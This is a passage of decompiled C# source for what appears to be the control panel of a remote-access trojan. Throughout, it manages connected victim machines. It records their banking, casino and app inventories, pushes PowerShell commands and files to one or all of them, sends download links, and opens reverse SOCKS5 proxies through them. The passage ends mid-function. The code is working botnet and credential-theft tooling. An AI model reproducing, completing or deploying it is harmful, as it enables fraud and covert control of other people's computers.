		catch (Exception ex)
		{
			ServerStatus = "FAILED";
			Log("Server start failed: " + ex.Message, "SYS");
			EnqueueStatus("Server start failed: " + ex.Message);
		}
	}

	private void DoStopServer()
	{
		try
		{
			infoTimer.Stop();
			server?.Stop();
			((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
			{
				allClients.Clear();
				Clients.Clear();
				UpdateFilterOptions();
			});
			ServerStatus = "Stopped";
			ClientCount = 0;
			Log("Server stopped", "SYS");
		}
		catch (Exception ex)
		{
			Log("Stop error: " + ex.Message, "SYS");
		}
	}

	private void Server_ClientConnected(object sender, ClientEventArgs e)
	{
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			string addr = e.Client.RemoteAddress?.Address?.ToString() ?? "?";
			if (store.BlockedIPs.Contains(addr))
			{
				Log("Blocked: " + addr, "SYS");
				try
				{
					server?.DisconnectClient(e.Client);
					return;
				}
				catch
				{
					return;
				}
			}
			if (!allClients.Any((ClientInfo c) => c.Owner == e.Client))
			{
				int port = e.Client.RemoteAddress?.Port ?? 0;
				ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port);
				if (clientInfo != null)
				{
					clientInfo.Owner = e.Client;
				}
				else
				{
					ClientInfo clientInfo2 = new ClientInfo
					{
						Owner = e.Client,
						SessionId = Guid.NewGuid().ToString("N"),
						Address = (e.Client.RemoteAddress?.Address?.ToString() ?? "?"),
						Port = (e.Client.RemoteAddress?.Port ?? 0),
						ConnectTime = DateTime.Now
					};
					string address = clientInfo2.Address;
					if (store.Notes.ContainsKey(address))
					{
						clientInfo2.Notes = store.Notes[address];
					}
					if (store.PinnedIPs.Contains(address))
					{
						clientInfo2.IsPinned = true;
					}
					if (store.AnnounceIPs.Contains(address))
					{
						clientInfo2.IsAnnounce = true;
					}
					if (store.MutedIPs.ContainsKey(address) && store.MutedIPs[address] > DateTime.Now)
					{
						clientInfo2.IsMuted = true;
						clientInfo2.MuteUntil = store.MutedIPs[address];
					}
					StoredClientRecord storedClientRecord = store.FindClient(address);
					if (storedClientRecord != null)
					{
						if (string.IsNullOrEmpty(clientInfo2.Notes) && !string.IsNullOrEmpty(storedClientRecord.Notes))
						{
							clientInfo2.Notes = storedClientRecord.Notes;
						}
						if (!string.IsNullOrEmpty(storedClientRecord.AppsInventoryJson) || !string.IsNullOrEmpty(storedClientRecord.BankInventoryJson))
						{
							clientInfo2.ApplyInventoryJson(storedClientRecord.AppsInventoryJson, storedClientRecord.BankInventoryJson, storedClientRecord.CasinoInventoryJson);
						}
					}
					allClients.Add(clientInfo2);
					_pendingUpdates = true;
					ClientCount = allClients.Count;
					if (!clientInfo2.IsMuted && store.Settings.NotifyConnect)
					{
						try
						{
							SystemSounds.Asterisk.Play();
						}
						catch
						{
						}
					}
					Log("Connected: " + address, "CONN");
					RunOnConnectTasks(e.Client);
				}
			}
		}, Array.Empty<object>());
	}

	private void Server_ClientDisconnected(object sender, ClientEventArgs e)
	{
		if (_reverseProxyState.TryGetValue(e.Client, out var value))
		{
			value.Running = false;
			try
			{
				value.Listener?.Stop();
			}
			catch
			{
			}
			KeyValuePair<int, TcpClient>[] array = value.Connections.ToArray();
			for (int i = 0; i < array.Length; i++)
			{
				KeyValuePair<int, TcpClient> keyValuePair = array[i];
				try
				{
					keyValuePair.Value?.Close();
				}
				catch
				{
				}
			}
			_reverseProxyState.Remove(e.Client);
		}
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == e.Client);
			if (clientInfo != null)
			{
				clientInfo.ProxyActive = false;
				store.UpsertClient(new StoredClientRecord
				{
					Address = clientInfo.Address,
					Port = clientInfo.Port,
					UserName = (clientInfo.Username ?? ""),
					ComputerName = (clientInfo.ComputerName ?? ""),
					OS = (clientInfo.OS ?? ""),
					CountryCode = (clientInfo.CountryCode ?? ""),
					Group = (clientInfo.Group ?? ""),
					Notes = (clientInfo.Notes ?? ""),
					IsPinned = clientInfo.IsPinned,
					LastSeen = DateTime.Now,
					AppsInventoryJson = (clientInfo.AppsInventoryJson ?? ""),
					BankInventoryJson = (clientInfo.BankInventoryJson ?? ""),
					CasinoInventoryJson = (clientInfo.CasinoInventoryJson ?? "")
				});
				store.SaveClients();
				allClients.Remove(clientInfo);
				_pendingUpdates = true;
				ClientCount = allClients.Count;
				if (!clientInfo.IsMuted && store.Settings.NotifyDisconnect)
				{
					try
					{
						SystemSounds.Hand.Play();
					}
					catch
					{
					}
				}
				Log("Disconnected: " + clientInfo.Address, "CONN");
			}
		}, Array.Empty<object>());
	}

	private void HandleClientInfo(CrysomeClient sender, IPacket packet)
	{
		//IL_0016: Unknown result type (might be due to invalid IL or missing references)
		//IL_0020: Expected O, but got Unknown
		ClientInfoResponsePacket p = (ClientInfoResponsePacket)packet;
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			//IL_0433: Unknown result type (might be due to invalid IL or missing references)
			//IL_043d: Expected O, but got Unknown
			ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
			string addr = sender.RemoteAddress?.Address?.ToString() ?? "?";
			int port = sender.RemoteAddress?.Port ?? 0;
			if (clientInfo == null)
			{
				clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port);
			}
			if (clientInfo != null)
			{
				clientInfo.Owner = sender;
			}
			else
			{
				clientInfo = new ClientInfo
				{
					Owner = sender,
					SessionId = Guid.NewGuid().ToString("N"),
					Address = addr,
					Port = port,
					ConnectTime = DateTime.Now
				};
				string address = clientInfo.Address;
				if (store.Notes.ContainsKey(address))
				{
					clientInfo.Notes = store.Notes[address];
				}
				if (store.PinnedIPs.Contains(address))
				{
					clientInfo.IsPinned = true;
				}
				if (store.AnnounceIPs.Contains(address))
				{
					clientInfo.IsAnnounce = true;
				}
				allClients.Add(clientInfo);
				if (store.Settings.NotifyConnect)
				{
					try
					{
						SystemSounds.Asterisk.Play();
					}
					catch
					{
					}
				}
				Log("Connected: " + clientInfo.Address, "CONN");
			}
			bool flag = false;
			if (clientInfo.Identifier != (p.Identifier ?? ""))
			{
				clientInfo.Identifier = p.Identifier ?? "";
				flag = true;
			}
			if (clientInfo.Username != (p.Username ?? ""))
			{
				clientInfo.Username = p.Username ?? "";
				flag = true;
			}
			if (clientInfo.ComputerName != (p.ComputerName ?? ""))
			{
				clientInfo.ComputerName = p.ComputerName ?? "";
				flag = true;
			}
			if (clientInfo.OS != (p.OS ?? ""))
			{
				clientInfo.OS = p.OS ?? "";
				flag = true;
			}
			if (clientInfo.ActiveWindow != (p.ActiveWindow ?? ""))
			{
				clientInfo.ActiveWindow = p.ActiveWindow ?? "";
				flag = true;
			}
			if (clientInfo.Uptime != (p.Uptime ?? ""))
			{
				clientInfo.Uptime = p.Uptime ?? "";
				flag = true;
			}
			string text = (p.CountryCode ?? "").Trim().ToUpperInvariant();
			if (clientInfo.CountryCode != text)
			{
				clientInfo.CountryCode = text;
				flag = true;
			}
			if (clientInfo.Group != (p.Group ?? ""))
			{
				clientInfo.Group = p.Group ?? "";
				flag = true;
			}
			if (clientInfo.GPU != (p.GPU ?? ""))
			{
				clientInfo.GPU = p.GPU ?? "";
				flag = true;
			}
			if (flag)
			{
				_pendingUpdates = true;
			}
			ClientCount = allClients.Count;
			try
			{
				sender.SendPacket((IPacket)new PingRequestPacket(Environment.TickCount64));
			}
			catch
			{
			}
		}, Array.Empty<object>());
	}

	private void HandleSystemInfo(CrysomeClient sender, IPacket packet)
	{
		//IL_0016: Unknown result type (might be due to invalid IL or missing references)
		//IL_0020: Expected O, but got Unknown
		GetSystemInfoResponsePacket p = (GetSystemInfoResponsePacket)packet;
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
			if (clientInfo != null)
			{
				clientInfo.Identifier = p.Identifier ?? "";
				clientInfo.Username = p.Username ?? "";
				clientInfo.ComputerName = p.ComputerName ?? "";
				clientInfo.OS = p.OS ?? "";
			}
		}, Array.Empty<object>());
	}

	private void HandlePingResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_0015: Unknown result type (might be due to invalid IL or missing references)
		//IL_001b: Expected O, but got Unknown
		PingResponsePacket val = (PingResponsePacket)packet;
		long tickCount = Environment.TickCount64;
		int rtt = (int)(tickCount - val.ServerTick);
		if (rtt < 0 || rtt > 30000)
		{
			return;
		}
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.AddPingSample(rtt);
		}, Array.Empty<object>());
	}

	private void HandleCommandResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_0016: Unknown result type (might be due to invalid IL or missing references)
		//IL_0020: Expected O, but got Unknown
		RunCommandResponsePacket p = (RunCommandResponsePacket)packet;
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			if (_shellOutputCallbacks.TryGetValue(sender, out var value))
			{
				_shellOutputCallbacks.Remove(sender);
				value(p.Output ?? "");
			}
			else
			{
				ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
				string text = ((clientInfo != null) ? clientInfo.Address : "?");
				Log("CMD [" + text + "]: " + (p.Output ?? "").Substring(0, Math.Min((p.Output ?? "").Length, 500)), "CMD");
			}
		}, Array.Empty<object>());
	}

	public void SendShellCommand(ClientInfo client, string command, Action<string> onOutput)
	{
		//IL_002b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0035: Expected O, but got Unknown
		if (client?.Owner == null || onOutput == null)
		{
			return;
		}
		_shellOutputCallbacks[client.Owner] = onOutput;
		try
		{
			client.Owner.SendPacket((IPacket)new RunCommandRequestPacket(command));
		}
		catch
		{
			_shellOutputCallbacks.Remove(client.Owner);
		}
	}

	private void HandleFileResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_000f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0019: Expected O, but got Unknown
		FileTransferResponsePacket p = (FileTransferResponsePacket)packet;
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			Log("File result: " + p.Status, "FILE");
		}, Array.Empty<object>());
	}

	private void HandleFtSack(CrysomeClient sender, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		FtSackPacket val = (FtSackPacket)packet;
		if (_activeSenders.TryGetValue(val.TransferId, out var value))
		{
			value.HandleSack(val);
		}
	}

	private void HandleFtDone(CrysomeClient sender, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		FtDonePacket val = (FtDonePacket)packet;
		if (_activeSenders.TryRemove(val.TransferId, out var value))
		{
			value.HandleDone(val);
		}
	}

	private void HandleDirectLinkResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_000f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0019: Expected O, but got Unknown
		DirectLinkResponsePacket p = (DirectLinkResponsePacket)packet;
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			Log("DirectLink result: " + p.Status, "FILE");
		}, Array.Empty<object>());
	}

	private void InfoTimer_Tick(object sender, EventArgs e)
	{
		//IL_0083: Unknown result type (might be due to invalid IL or missing references)
		//IL_008d: Expected O, but got Unknown
		//IL_0099: Unknown result type (might be due to invalid IL or missing references)
		//IL_00a3: Expected O, but got Unknown
		if (server == null || !server.Listening)
		{
			return;
		}
		try
		{
			int count = allClients.Count;
			if (count == 0)
			{
				return;
			}
			int num = 15;
			if (infoRobin >= count)
			{
				infoRobin = 0;
			}
			int num2 = Math.Min(infoRobin + num, count);
			for (int i = infoRobin; i < num2; i++)
			{
				ClientInfo clientInfo = allClients[i];
				if (clientInfo.Owner != null && clientInfo.Owner.IsConnected)
				{
					try
					{
						clientInfo.Owner.SendPacket((IPacket)new ClientInfoRequestPacket());
						clientInfo.Owner.SendPacket((IPacket)new PingRequestPacket(Environment.TickCount64));
					}
					catch
					{
					}
				}
			}
			infoRobin = ((num2 < count) ? num2 : 0);
			ClientCount = allClients.Count;
		}
		catch
		{
		}
	}

	private void RefreshClientList()
	{
		_pendingUpdates = true;
	}

	private void ProcessClientUpdates(object sender, EventArgs e)
	{
		if (!_pendingUpdates)
		{
			return;
		}
		_pendingUpdates = false;
		try
		{
			IEnumerable<ClientInfo> source = allClients.AsEnumerable();
			if (!string.IsNullOrEmpty(_filterCountry) && _filterCountry != "All")
			{
				source = source.Where((ClientInfo c) => string.Equals(c.CountryCode, _filterCountry, StringComparison.OrdinalIgnoreCase));
			}
			if (!string.IsNullOrEmpty(_filterOS) && _filterOS != "All")
			{
				source = source.Where((ClientInfo c) => (c.OS ?? "").IndexOf(_filterOS, StringComparison.OrdinalIgnoreCase) >= 0);
			}
			if (!string.IsNullOrEmpty(_filterGroup) && _filterGroup != "All")
			{
				source = source.Where((ClientInfo c) => string.Equals(c.Group ?? "", _filterGroup, StringComparison.OrdinalIgnoreCase));
			}
			if (!string.IsNullOrEmpty(_filterPing) && _filterPing != "All")
			{
				switch (_filterPing)
				{
				case "Good (<100ms)":
					source = source.Where((ClientInfo c) => c.PingValue > 0 && c.PingValue < 100);
					break;
				case "Medium (<300ms)":
					source = source.Where((ClientInfo c) => c.PingValue >= 100 && c.PingValue < 300);
					break;
				case "High (>300ms)":
					source = source.Where((ClientInfo c) => c.PingValue >= 300);
					break;
				}
			}
			UniqueCountriesCount = (from c in allClients
				select c.CountryCode ?? "" into s
				where s.Length > 0
				select s).Distinct().Count();
			List<int> list = (from c in allClients
				where c.PingValue > 0
				select c.PingValue).ToList();
			AveragePing = ((list.Count > 0) ? ((int)list.Average()) : 0);
			ActiveWindowsCount = allClients.Count((ClientInfo c) => !string.IsNullOrWhiteSpace(c.ActiveWindow));
			List<string> second = (from x in (from c in allClients
					select c.Group ?? "" into s
					where s.Length > 0
					select s).Distinct()
				orderby x
				select x).ToList();
			string filterGroup = _filterGroup;
			_isRefreshingClientList = true;
			SyncCollection(FilterGroupOptions, new List<string> { "All" }.Concat(second).ToList());
			_filterGroup = (FilterGroupOptions.Contains(filterGroup) ? filterGroup : "All");
			OnPropertyChanged("FilterGroup");
			_isRefreshingClientList = false;
			List<ClientInfo> list2 = source.OrderByDescending((ClientInfo c) => c.IsPinned).ToList();
			int num = 0;
			foreach (ClientInfo item in list2)
			{
				int num2 = Clients.IndexOf(item);
				if (num2 < 0)
				{
					Clients.Insert(num, item);
				}
				else if (num2 != num)
				{
					Clients.Move(num2, num);
				}
				num++;
			}
			while (Clients.Count > list2.Count)
			{
				Clients.RemoveAt(Clients.Count - 1);
			}
			UpdateFilterOptionsInternal();
		}
		catch
		{
		}
	}

	private void UpdateFilterOptions()
	{
		_pendingUpdates = true;
	}

	private void UpdateFilterOptionsInternal()
	{
		HashSet<string> currentCountries = new HashSet<string>(FilterCountryOptions);
		HashSet<string> currentOSes = new HashSet<string>(FilterOSOptions);
		List<string> list = (from x in (from c in allClients
				select (c.CountryCode ?? "").Trim() into s
				where s.Length > 0
				select s).Distinct()
			orderby x
			select x).ToList();
		List<string> list2 = (from x in (from c in allClients
				select (c.OS ?? "").Trim() into s
				where s.Length > 0
				select s).Distinct()
			orderby x
			select x).ToList();
		bool flag = list.Count + 1 != currentCountries.Count || list.Any((string c) => !currentCountries.Contains(c));
		bool flag2 = list2.Count + 1 != currentOSes.Count || list2.Any((string o) => !currentOSes.Contains(o));
		bool isRefreshingClientList = _isRefreshingClientList;
		_isRefreshingClientList = true;
		try
		{
			if (flag)
			{
				string filterCountry = _filterCountry;
				SyncCollection(AvailableCountries, list);
				SyncCollection(FilterCountryOptions, new List<string> { "All" }.Concat(list).ToList());
				_filterCountry = (FilterCountryOptions.Contains(filterCountry) ? filterCountry : "All");
				OnPropertyChanged("FilterCountry");
			}
			if (flag2)
			{
				string filterOS = _filterOS;
				SyncCollection(AvailableOSes, list2);
				SyncCollection(FilterOSOptions, new List<string> { "All" }.Concat(list2).ToList());
				_filterOS = (FilterOSOptions.Contains(filterOS) ? filterOS : "All");
				OnPropertyChanged("FilterOS");
			}
		}
		finally
		{
			_isRefreshingClientList = isRefreshingClientList;
		}
	}

	private static void SyncCollection(ObservableCollection<string> target, List<string> source)
	{
		target.Clear();
		foreach (string item in source)
		{
			target.Add(item);
		}
	}

	private void DoAddBlocklist()
	{
		string text = (NewBlocklistIP ?? "").Trim();
		if (string.IsNullOrEmpty(text))
		{
			return;
		}
		if (store.BlockedIPs.Contains(text))
		{
			EnqueueStatus("Already blocked");
			return;
		}
		store.BlockedIPs.Add(text);
		store.SaveBlocked();
		BlockedIPsList.Clear();
		foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
		{
			BlockedIPsList.Add(item);
		}
		NewBlocklistIP = "";
		Log("Added to blocklist: " + text, "SYS");
		EnqueueStatus("Blocked " + text);
	}

	private void DoRemoveBlocklist(string ip)
	{
		if (!string.IsNullOrEmpty(ip))
		{
			store.BlockedIPs.Remove(ip);
			store.SaveBlocked();
			BlockedIPsList.Remove(ip);
			Log("Removed from blocklist: " + ip, "SYS");
		}
	}

	private void DoRemoveBlocklist()
	{
		string blocklistSelectedIP = BlocklistSelectedIP;
		if (string.IsNullOrEmpty(blocklistSelectedIP))
		{
			EnqueueStatus("Select an IP to unblock");
		}
		else
		{
			DoRemoveBlocklist(blocklistSelectedIP);
		}
	}

	private void DoBlockSelectedClient()
	{
		ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
		if (clientInfo == null)
		{
			EnqueueStatus("Select a client to block");
			return;
		}
		string address = clientInfo.Address;
		if (store.BlockedIPs.Contains(address))
		{
			EnqueueStatus("Already blocked");
			return;
		}
		store.BlockedIPs.Add(address);
		store.SaveBlocked();
		BlockedIPsList.Clear();
		foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
		{
			BlockedIPsList.Add(item);
		}
		try
		{
			server?.DisconnectClient(clientInfo.Owner);
		}
		catch
		{
		}
		Log("Blocked and disconnected: " + address, "SYS");
		EnqueueStatus("Blocked " + address);
	}

	private IEnumerable<ClientInfo> GetSelectedOrAll(bool all)
	{
		if (all)
		{
			return allClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected);
		}
		return _selectedClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected);
	}

	private void DoSendCommand(bool all)
	{
		//IL_003c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0046: Expected O, but got Unknown
		string text = PromptInput("Send PowerShell Command", "Enter command:");
		if (string.IsNullOrEmpty(text))
		{
			return;
		}
		foreach (ClientInfo item in GetSelectedOrAll(all))
		{
			try
			{
				item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(text));
				Log("Sent cmd to " + item.Address + ": " + text, "CMD");
			}
			catch
			{
			}
		}
		_lastCmd = text;
	}

	private async void DoSendFile(bool all)
	{
		OpenFileDialog openFileDialog = new OpenFileDialog
		{
			Filter = "All files|*.*"
		};
		if (openFileDialog.ShowDialog() != true)
		{
			return;
		}
		string path = openFileDialog.FileName;
		byte[] data;
		try
		{
			data = await Task.Run(() => File.ReadAllBytes(path));
		}
		catch (Exception ex)
		{
			Exception ex2 = ex;
			Exception ex3 = ex2;
			((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
			{
				Log("Send file error: " + ex3.Message, "FILE");
			});
			return;
		}
		((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
		{
			//IL_0106: Unknown result type (might be due to invalid IL or missing references)
			//IL_010d: Expected O, but got Unknown
			long num = (long)store.Settings.MaxSendFileSizeMB * 1024L * 1024;
			if (num > 0 && data.Length > num)
			{
				Log("File too large (limit " + store.Settings.MaxSendFileSizeMB + " MB)", "FILE");
			}
			else
			{
				string name = Path.GetFileName(path);
				int num2 = Math.Max(1, (data.Length + 1200 - 1) / 1200);
				foreach (ClientInfo c in GetSelectedOrAll(all))
				{
					try
					{
						FtSender val = new FtSender(c.Owner, name, data);
						val.OnDone = delegate(uint id, bool ok, string msg)
						{
							((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
							{
								Log((ok ? "File delivered" : "File failed") + " [" + name + "] → " + c.Address + ": " + msg, "FILE");
							}, Array.Empty<object>());
						};
						_activeSenders[val.TransferId] = val;
						val.Start();
						Log("Sending [" + name + "] to " + c.Address + " (" + num2 + " chunks × " + 1200 + " B)", "FILE");
					}
					catch (Exception ex4)
					{
						Log("Send file error: " + ex4.Message, "FILE");
					}
				}
				_lastFilePath = path;
			}
		});
	}

	private void DoDirectLink(bool all)
	{
		//IL_003c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0046: Expected O, but got Unknown
		string text = PromptInput("Direct Link", "Enter URL:");
		if (string.IsNullOrEmpty(text))
		{
			return;
		}
		foreach (ClientInfo item in GetSelectedOrAll(all))
		{
			try
			{
				item.Owner.SendPacket((IPacket)new DirectLinkRequestPacket(text));
				Log("Sent link to " + item.Address + ": " + text, "FILE");
			}
			catch
			{
			}
		}
	}

	private void DoCopySummary()
	{
		ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
		if (clientInfo != null)
		{
			Clipboard.SetText(clientInfo.Address + "\t" + clientInfo.Username + "\t" + clientInfo.OS + "\t" + clientInfo.PingDisplay + "\t" + clientInfo.Uptime);
			Log("Copied summary", "SYS");
		}
	}

	private void DoPinToTop()
	{
		ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
		if (clientInfo != null)
		{
			string address = clientInfo.Address;
			if (store.PinnedIPs.Contains(address))
			{
				store.PinnedIPs.Remove(address);
				clientInfo.IsPinned = false;
			}
			else
			{
				store.PinnedIPs.Add(address);
				clientInfo.IsPinned = true;
			}
			store.SavePinned();
			RefreshClientList();
		}
	}

	private void DoExportSelection()
	{
		List<ClientInfo> list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List<ClientInfo> { SelectedClient } : null));
		if (list == null || list.Count == 0)
		{
			return;
		}
		SaveFileDialog saveFileDialog = new SaveFileDialog
		{
			Filter = "CSV|*.csv",
			FileName = "export.csv"
		};
		if (saveFileDialog.ShowDialog() != true)
		{
			return;
		}
		List<string> list2 = new List<string> { "IP\tUser\tOS\tPing\tUptime\tGroup\tNotes" };
		foreach (ClientInfo item in list)
		{
			list2.Add(item.Address + "\t" + item.Username + "\t" + item.OS + "\t" + item.PingDisplay + "\t" + item.Uptime + "\t" + item.Group + "\t" + item.Notes);
		}
		File.WriteAllLines(saveFileDialog.FileName, list2);
		Log("Exported to " + saveFileDialog.FileName, "SYS");
	}

	private void DoMute30()
	{
		ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
		if (clientInfo != null)
		{
			string address = clientInfo.Address;
			clientInfo.IsMuted = true;
			clientInfo.MuteUntil = DateTime.Now.AddMinutes(30.0);
			store.MutedIPs[address] = SelectedClient.MuteUntil;
			store.SaveMuted();
			Log("Muted " + address + " for 30 min", "SYS");
		}
	}

	private void DoQuickHealth()
	{
		//IL_0021: Unknown result type (might be due to invalid IL or missing references)
		//IL_002b: Expected O, but got Unknown
		foreach (ClientInfo item in GetSelectedOrAll(all: false))
		{
			try
			{
				item.Owner.SendPacket((IPacket)new RunCommandRequestPacket("Get-CimInstance Win32_OperatingSystem | Select-Object Caption,LastBootUpTime"));
			}
			catch
			{
			}
		}
	}

	private void DoRepeatLastCmd()
	{
		//IL_003b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0045: Expected O, but got Unknown
		if (string.IsNullOrEmpty(_lastCmd))
		{
			EnqueueStatus("No previous command");
			return;
		}
		foreach (ClientInfo item in GetSelectedOrAll(all: false))
		{
			try
			{
				item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(_lastCmd));
			}
			catch
			{
			}
		}
	}

	private async void DoRepeatLastFile()
	{
		if (string.IsNullOrEmpty(_lastFilePath) || !File.Exists(_lastFilePath))
		{
			EnqueueStatus("No previous file");
			return;
		}
		string path = _lastFilePath;
		byte[] data;
		try
		{
			data = await Task.Run(() => File.ReadAllBytes(path));
		}
		catch (Exception ex)
		{
			Exception ex2 = ex;
			Exception ex3 = ex2;
			((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
			{
				Log("Repeat file error: " + ex3.Message, "FILE");
			});
			return;
		}
		((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
		{
			//IL_0034: Unknown result type (might be due to invalid IL or missing references)
			//IL_003e: Expected O, but got Unknown
			string fileName = Path.GetFileName(path);
			foreach (ClientInfo item in GetSelectedOrAll(all: false))
			{
				try
				{
					item.Owner.SendPacket((IPacket)new FileTransferRequestPacket(fileName, data));
				}
				catch
				{
				}
			}
		});
	}

	private void DoAnnounceToggle()
	{
		ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
		if (clientInfo != null)
		{
			string address = clientInfo.Address;
			if (store.AnnounceIPs.Contains(address))
			{
				store.AnnounceIPs.Remove(address);
				clientInfo.IsAnnounce = false;
			}
			else
			{
				store.AnnounceIPs.Add(address);
				clientInfo.IsAnnounce = true;
			}
			store.SaveAnnounce();
		}
	}

	private void DoEditNote()
	{
		ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
		if (clientInfo != null)
		{
			string text = PromptInput("Note for " + clientInfo.Address, "Enter note:", clientInfo.Notes);
			if (text != null)
			{
				clientInfo.Notes = text;
				store.Notes[clientInfo.Address] = text;
				store.SaveNotes();
			}
		}
	}

	private void DoSocks5Proxy()
	{
		//IL_0179: Unknown result type (might be due to invalid IL or missing references)
		//IL_0183: Expected O, but got Unknown
		//IL_0292: Unknown result type (might be due to invalid IL or missing references)
		//IL_0297: Unknown result type (might be due to invalid IL or missing references)
		//IL_02af: Expected O, but got Unknown
		List<ClientInfo> list = GetSelectedOrAll(all: false).ToList();
		if (!list.Any())
		{
			EnqueueStatus("No client selected");
			return;
		}
		int num = 0;
		_proxyResultsForModal.Clear();
		foreach (ClientInfo c in list)
		{
			try
			{
				if (c.Owner == null)
				{
					continue;
				}
				if (_reverseProxyState.TryGetValue(c.Owner, out var value))
				{
					StopReverseProxy(c.Owner, value);
					((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
					{
						c.ProxyActive = false;
					}, Array.Empty<object>());
					Log("Stopping reverse proxy on " + c.Address, "PROXY");
					continue;
				}
				TcpListener tcpListener = new TcpListener(IPAddress.Loopback, 0);
				tcpListener.Start();
				int port = ((IPEndPoint)tcpListener.LocalEndpoint).Port;
				ReverseProxyState state = new ReverseProxyState
				{
					Listener = tcpListener,
					Owner = c.Owner,
					Running = true
				};
				_reverseProxyState[c.Owner] = state;
				c.Owner.SendPacket((IPacket)new StartReverseProxyPacket(port));
				((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
				{
					c.ProxyActive = true;
				}, Array.Empty<object>());
				Log("Reverse proxy on " + c.Address + " -> 127.0.0.1:" + port, "PROXY");
				_proxyResultsForModal.Add(("127.0.0.1", port.ToString()));
				num++;
				CrysomeClient owner = c.Owner;
				Task.Run(delegate
				{
					ReverseProxyAcceptLoop(state, owner);
				});
			}
			catch (Exception ex)
			{
				Log("Proxy error on " + c.Address + ": " + ex.Message, "PROXY");
			}
		}
		if (num > 0)
		{
			_proxyStartCount = num;
			DispatcherTimer proxyModalTimer = _proxyModalTimer;
			if (proxyModalTimer != null)
			{
				proxyModalTimer.Stop();
			}
			_proxyModalTimer = new DispatcherTimer
			{
				Interval = TimeSpan.FromMilliseconds(500L, 0L)
			};
			_proxyModalTimer.Tick += delegate
			{
				_proxyModalTimer.Stop();
				ShowProxyResultsModal();
			};
			_proxyModalTimer.Start();
		}
	}

	private void StopReverseProxy(CrysomeClient owner, ReverseProxyState state)
	{
		//IL_005e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0068: Expected O, but got Unknown
		//IL_0090: Unknown result type (might be due to invalid IL or missing references)
		//IL_009a: Expected O, but got Unknown
		state.Running = false;
		try
		{
			state.Listener?.Stop();
		}
		catch
		{
		}
		state.Listener = null;
		KeyValuePair<int, TcpClient>[] array = state.Connections.ToArray();
		for (int i = 0; i < array.Length; i++)
		{
			KeyValuePair<int, TcpClient> keyValuePair = array[i];
			try
			{
				keyValuePair.Value?.Close();
			}
			catch
			{
			}
			try
			{
				owner.SendPacket((IPacket)new ReverseProxyEndPacket(keyValuePair.Key));
			}
			catch
			{
			}
		}
		state.Connections.Clear();
		_reverseProxyState.Remove(owner);
		try
		{
			owner.SendPacket((IPacket)new StopProxyRequestPacket());
		}
		catch
		{
		}
	}

	private void ReverseProxyAcceptLoop(ReverseProxyState state, CrysomeClient owner)
	{
		//IL_00ba: Unknown result type (might be due to invalid IL or missing references)
		//IL_00c4: Expected O, but got Unknown
		try
		{
			while (state.Running && state.Listener != null)
			{
				TcpClient browser;
				try
				{
					browser = state.Listener.AcceptTcpClient();
				}
				catch
				{
					break;
				}
				if (!state.Running)
				{
					browser.Close();
					break;
				}
				int connId = Interlocked.Increment(ref state.NextConnectionId);
				state.Connections[connId] = browser;
				try
				{
					owner.SendPacket((IPacket)new ReverseProxyStartPacket(connId));
				}
				catch
				{
					browser.Close();
					state.Connections.TryRemove(connId, out var _);
					continue;
				}
				NetworkStream stream = browser.GetStream();
				byte[] buf = new byte[8192];
				Task.Run(delegate
				{
